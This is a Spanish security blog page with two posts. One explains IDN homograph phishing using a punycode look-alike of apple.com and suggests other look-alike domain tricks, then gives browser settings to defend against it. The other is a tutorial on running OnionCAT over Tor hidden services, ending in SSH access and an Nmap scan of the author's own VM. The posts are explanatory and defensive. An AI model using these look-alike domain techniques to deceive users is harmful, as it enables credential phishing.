Por ejemplo: Haz click aquí: https://www.xn--80ak6aa92e.com/. La página que obtienes no es la oficial de Apple. ¿Por qué? Hace mucho tiempo, se elaboró un estándar que permitía registrar nombres de dominio que contuvieran caracteres fuera de ASCII, por ejemplo: nombres de dominio con caracteres como ç, ñ, o incluso hanzi, como 國, caracteres árabes, como جزائر, entre otros.

 

xn–80ak6aa92e.com

En concreto, idiomas como el ruso, tienen letras similares al alfabeto latín, y, dado que se pueden registrar dominios con estos caracteres, por desgracia también se puede utilizar esto con fines no tan nobles, como realizar phishing.

Pero el candadito verde significa sitio seguro, ¿No?

Este es otro gran problema. Debido a que estos dominios son totalmente válidos y estándar, también se pueden solicitar certificados de cifrado, sin embargo, si indagamos, veremos que el certificado está expedido por Let’s Encrypt, una autoridad certificadora que expide certificados gratuitos. Estos certificados gratuitos están genial para administradores de sistemas que no tengan muchos recursos, y no quieran gastarse cientos de euros en un certificado para proteger a sus visitantes.

 

certificado de xn–80ak6aa92e.com

Mientras que la web oficial tendría un certificado con validación extendida (EV), que generalmente suele costar bastante más caro, pero a una gran multinacional como Apple, no le supone un gran desembolso. Esta es una de las razones más importantes para contratar certificados con validación extendida en lugar de certificados sencillos: Ayudan a contrarrestar el phishing en gran medida, especialmente en los casos en los que la dirección web es muy parecida. Podría por ejemplo darse que alguien registre el dominio appiie.com, pero los enlaces se entreguen con las dos i en mayúsculas, haciendo parecer la letra L.


Apple.com

Cómo evitarlo

Si utilizas Google Chrome, debes actualizar inmediatamente si estás utilizando una versión inferior a la 58.0.3029.81. Una vez que hayas actualizado, el enlace del principio aparecerá como xn--80ak6aa92e.com, que es el dominio real, evidenciando que la web efectivamente no es apple.com.

En el caso de Firefox, debes seguir estos pasos:
1. Escribe about:config en la barra de direcciones y pulsa enter.
2. Escribe punycode en la barra de búsqueda del gestor de configuración.
3. Busca un parámetro llamado network.IDN_show_punycode.
4. Haz doble click para cambiar su valor de false a true.

Independiente de esto, la mayoría de navegadores modernos (ejem, Internet Explorer también, cómo han cambiado las cosas) incluyen filtros anti phishing por defecto, lo que ayuda a contrarrestar este problema en gran medida, pero no son sistemas totalmente fiables (¿Acaso hay algo totalmente fiable?).

En resumen

Como siempre, debéis tener cuidado con dónde metéis vuestros datos, usar verificación en dos pasos siempre que sea posible (en Apple lo es), utilizar gestores de contraseñas para generar claves únicas y totalmente aleatorias para cada sitio.

 

Entrada escrita por “L-Cafe”.
Twitter @L__Cafe
Telegram Nick: lian.rs

Servicios ocultos en TOR sobre IP: Creando un adaptador VPN anónimo con OnionCAT

abril 20, 2017 Deja un comentario

Cuando se habla de servicios ocultos en TOR, nos referimos típicamente a servicios tradicionales que funcionan únicamente por TCP, por ejemplo un servidor web, SSH, SMB o FTP, todo es posible. Crear un servicio oculto es tan simple como utilizar las directivas HiddenServiceDir y HiddenServicePort, las cuales se encargan de crear o leer un directorio dado en donde se encontrará la clave privada del servicio y para establecer el puerto del servicio en ejecución respectivamente. En realidad la creación de un servicio oculto tiene una dificultad mínima y cualquiera sin demasiados conocimientos puede hacerlo, sin embargo nos encontramos con que únicamente vamos a poder exponer un puerto por cada combinación de HiddenServiceDir y HiddenServicePort en el fichero de configuración de TOR (también conocido como “torrc”). Si queremos tener, por ejemplo, todos los servicios de un sistema disponibles en la deep web de TOR, tenemos que ir creando “pares” de ambas directivas por cada servicio que se quiera exponer. Esto con muchos servicios resulta tedioso y difícil de mantener, además de que las direcciones Onion no solamente no son fáciles de recordar, sino que además al no ser resolubles por medio de un servidor DNS o similar, pueden haber varias dificultades a la hora de acceder a éste tipo servicios utilizando ciertas herramientas. Estos son solamente algunos de los problemas que se suelen presentar a la hora de crear y acceder a un servicio oculto en TOR y desde luego, en ciertos casos, no resulta práctico. Ahora bien, tomando como referencia el funcionamiento de Freenet, en ocasiones resulta conveniente tener la posibilidad de crear grupos cerrados dentro de la propia red anónima para que sea posible el intercambio de información o incluso el acceso a servicios que únicamente pueden ser consultados por los miembros de dicho grupo. Esta característica no se encuentra disponible en TOR, sin embargo existe una alternativa bastante interesante de la que ya se ha hablado de forma muy superficial en éste blog y que merece la pena explicar en detalle, dicha alternativa es conocida como OnionCat.

OnionCat es una solución robusta y eficiente para afrontar los problemas mencionados anteriormente y que evidentemente se encuentran relacionados con la arquitectura de los servicios ocultos en TOR. OnionCAT permite crear un adaptador VPN sobre IPv6 que funciona en la capa de red (capa 3 en el modelo OSI) y la resolución de las direcciones ONION se lleva a cabo en la capa de transporte (capa 4 del modelo OSI), de ésta forma es posible tratar paquetes IP y facilitar el acceso a los servicios ocultos en redes anónimas tales como TOR o incluso I2P (modo GarliCAT).

OnionCAT se encarga de calcular y asignar de forma automática una dirección IPv6 única cuyo destino apunta a un servicio oculto de TOR, de ésta forma provee de un mecanismo único de enrutamiento, en donde los usuarios pueden comunicarse de forma transparente sobre direcciones IPv6 y acceder a prácticamente cualquier tipo de servicio basado en IP de forma anónima gracias a la arquitectura de TOR.

Para utilizar OnionCAT es necesario especificar la dirección onion de un servicio en ejecución y a continuación, la herramienta se encargará de generar una interfaz TUN con la que se podrá comenzar a trabajar. Uno o varios usuarios deben realizar el mismo procedimiento para poder interactuar por medio de sus correspondientes direcciones IPv6.
Cuando llega un paquete IPv6 a OnionCAT, éste intentará extraer los primeros 80 bits de la dirección del destino y traducirlos a una URL *.onion, para finalmente abrir un nuevo circuito de TOR hacia el destino indicado en el paquete. Se trata de un procedimiento que realiza de forma automática la herramienta, con lo cual no es necesario aplicar configuraciones complejas ni mucho menos, basta simplemente con instalar OnionCAT y configurar adecuadamente la instancia de TOR para que todo funcione correctamente. Es probable que la mejor forma de entender el funcionamiento de todo esto sea por medio de un ejemplo y es justo lo que se hará a continuación.

INSTALACIÓN DE ONIONCAT.

OnionCAT es una utilidad desarrollada en C, con lo cual como muchas herramientas en dicho lenguaje, tiene su correspondiente fichero “configure”, el cual se encarga de la compilación de los ficheros fuente para que posteriormente, se pueda ejecutar el comando “make”. OnionCAT se puede descargar desde aquí: https://www.cypherpunk.at/ocat/download/ y una vez descargada la última versión estable se debe ejecutar el script “configure” y luego “make && make install”. Finalmente, para verificar que ha quedado correctamente instalado en el sistema, basta con lanzar el comando “ocat”. Deberían de aparecer cada una de las opciones disponibles en ocat.

Instalación de OnionCAT en el sistema.

A continuación, es necesario crear un servicio oculto en una instancia de TOR cuyo endpoint en la deep web sea el puerto 8060 y desemboque en la máquina local en el mismo puerto. El fichero “torrc” puede contener lo siguiente:

DataDirectory /home/adastra/tor_data_directory

SOCKSPort 9050

Log notice file /home/adastra/tor_data_directory/tor_log.log

HiddenServiceDir /home/adastra/ servicioOcultoOCat

HiddenServicePort 8060 127.0.0.1:8060

Es un contenido bastante simple, pero más que suficiente para proceder con el arranque de la instancia de TOR y luego, dejar que OnionCAT “haga su magia”.


Bien, el servicio oculto está preparado en el puerto 8060, ahora solamente falta levantar OnionCAT por medio del comando “ocat” pasándole como argumento el contenido del fichero “/home/adastra/servicioOcultoOCat/hostname” que ha generado automáticamente TOR al momento de levantar la instancia (obviamente el directorio puede ser otro, basta simplemente con editar la directiva de configuración HiddenServiceDir). El siguiente comando permitirá generar una interfaz TUN con una dirección IPv6, que como veremos un poco más abajo, será la que nos permita acceder a otros servicios que utilicen también OnionCAT como si se encontrarán en la misma red.

Hasta éste punto únicamente contamos con una dirección IPv6, la cual dará acceso a otras instancias de OnionCAT que se encuentren funcionando en la red de TOR, solamente es necesario compartir ésta dirección con aquellas personas con las que queremos conectarnos.

Para hacerlo más interesante, desde una VM vamos a crear otra instancia de TOR+OnionCAT con la misma configuración vista anteriormente y se podrá apreciar que ambas instancias pueden acceder a cualquier servicio e incluso, utilizar protocolos distintos a TCP, todo sobre TOR y con el adaptador de red virtual generado por OnionCAT y por si fuera poco, nos olvidamos de direcciones Onion, es posible utilizar directamente direcciones IPv6 y acceder no sólo a un servicio concreto, accedemos a todo lo que pueda ofrecer el sistema, como si se tratara de una red local.

En el otro sistema se ha seguido exactamente el mismo procedimiento, es decir, se ha levantado una instancia de TOR con un servicio oculto que apunta al puerto 8060 tanto interno como externo y a continuación, se ha utilizado OnionCAT para generar la interfaz TUN con su correspondiente dirección IPv6. Para comprobar el correcto funcionamiento de ésta configuración, basta simplemente con ejecutar un “ping6” contra dicha dirección IP y ver cómo responde (desde el primer sistema configurado contra el segundo obviamente)



Tal y como se puede ver en la imagen anterior, el “ping6” contra la dirección IPv6 del sistema que se encuentra en la VM responde perfectamente, en este caso todo pasa por medio de la red TOR antes de llegar a su destino. Hay que tener en cuenta que es un proceso que puede tardar un poco, no hay que olvidar que lo que hay por debajo es un servicio oculto estándar de TOR, por ese motivo las conexiones pueden ir un poco más lentas.

Ahora, utilizando la dirección IPv6 de la máquina virtual, vamos a conectarnos a un servicio SSH que se encuentra en dicha máquina.

Como se puede apreciar, la conexión se ha podido establecer correctamente. Esto mismo aplica a cualquier servicio que se encuentre en dicho sistema, como por ejemplo un servidor web, FTP, POP, SMB, etc. Como decía antes, nos olvidamos de las direcciones Onion y ahora tiramos directamente de direcciones IPv6. Esto mismo lo podría hacer cualquier instancia que utilice OnionCAT en la red de TOR, basta simplemente con que conozca la dirección IPv6 con la que desea establecer una conexión y consumir cualquier tipo de servicio, de manera confidencial y anónima utilizando la infraestructura de TOR.

Así es posible crear grupos cerrados de personas que comparten servicios o información sin necesidad de depender de servicios ocultos y direcciones Onion, cada uno de los miembros intercambia sus direcciones IPv6 y puede ofrecer varios servicios sobre IP y por debajo, todo pasará por medio de TOR, ya no seria necesario recordar “N” direcciones Onion para acceder a “N” servicios ocultos de una instancia, únicamente conociendo la dirección IPv6 se puede acceder a todo lo que exponga dicha máquina.
Para demostrar estas afirmaciones, se puede lanzar directamente un escaneo con Nmap contra la dirección IPv6 utilizada anteriormente y como se puede apreciar en la siguiente imagen, se detectan  varios servicios con puertos abiertos.

Si no te gusta manejar o crear servicios ocultos uno a uno o estas cansado de utilizar direcciones Onion para compartir información o tener algún servidor en la deep web de TOR, la mejor solución que tienes actualmente es OnionCAT.

Un saludo y Happy Hack!
Adastra.

A %d blogueros les gusta esto: